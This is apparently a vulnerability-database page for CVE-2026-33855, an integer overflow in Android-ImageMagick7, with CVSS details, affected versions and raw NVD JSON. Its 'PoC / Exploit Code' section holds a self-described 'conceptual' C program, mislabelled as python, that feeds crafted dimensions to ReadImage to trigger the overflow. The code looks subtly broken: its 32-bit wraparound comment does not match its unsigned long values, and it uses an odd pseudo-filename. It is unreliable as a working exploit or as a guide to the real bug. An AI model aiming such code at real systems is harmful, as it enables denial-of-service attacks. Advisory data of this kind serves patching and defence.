Security Vulnerability Report
中文
CVE-2026-33855 CVSS 5.5 MEDIUM

CVE-2026-33855

Published: 2026-03-24 06:16:23
Last Modified: 2026-03-26 19:16:36

Description

Integer Overflow or Wraparound vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:molotovcherry:android-imagemagick7:*:*:*:*:*:*:*:* - VULNERABLE
Android-ImageMagick7 < 7.1.2-11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for Integer Overflow in Android-ImageMagick7 // This is a conceptual PoC demonstrating how an integer overflow might occur // when processing crafted image dimensions. #include <stdio.h> #include <stdlib.h> #include "MagickCore.h" int main(int argc, char **argv) { Image *image; ImageInfo *image_info; ExceptionInfo *exception; // Initialize ImageMagick environment MagickCoreGenesis(*argv, MagickTrue); exception = AcquireExceptionInfo(); // Create a crafted image with dimensions that trigger overflow // Example: width and height that when multiplied result in a value // that wraps around to a small positive number, causing insufficient memory allocation. unsigned long width = 0x10000000; unsigned long height = 0x10; // width * height = 0x100000000 -> wraps around if stored in 32-bit integer image_info = CloneImageInfo((ImageInfo *) NULL); strcpy(image_info->filename, "poc_canvas:magick"); // Using canvas generator // Set crafted size to trigger the vulnerable code path image_info->size = (char *)malloc(50); sprintf(image_info->size, "%lux%lu", width, height); // Attempt to read the image, triggering the vulnerable parsing logic image = ReadImage(image_info, exception); // Check for exceptions indicating a crash or error if (exception->severity != UndefinedException) { printf("Exception caught: %s %s\n", exception->reason, exception->description); } if (image) { DestroyImage(image); } DestroyImageInfo(image_info); DestroyExceptionInfo(exception); MagickCoreTerminus(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33855", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:22.827", "lastModified": "2026-03-26T19:16:36.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer Overflow or Wraparound vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de entero o desbordamiento por ajuste en MolotovCherry Android-ImageMagick7. Este problema afecta a Android-ImageMagick7: antes de 7.1.2-11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:molotovcherry:android-imagemagick7:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-11", "matchCriteriaId": "CD4FC35B-5E60-42CC-87A5-71FF393A6EAB"}]}]}], "references": [{"url": "https://github.com/MolotovCherry/Android-ImageMagick7/pull/187", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}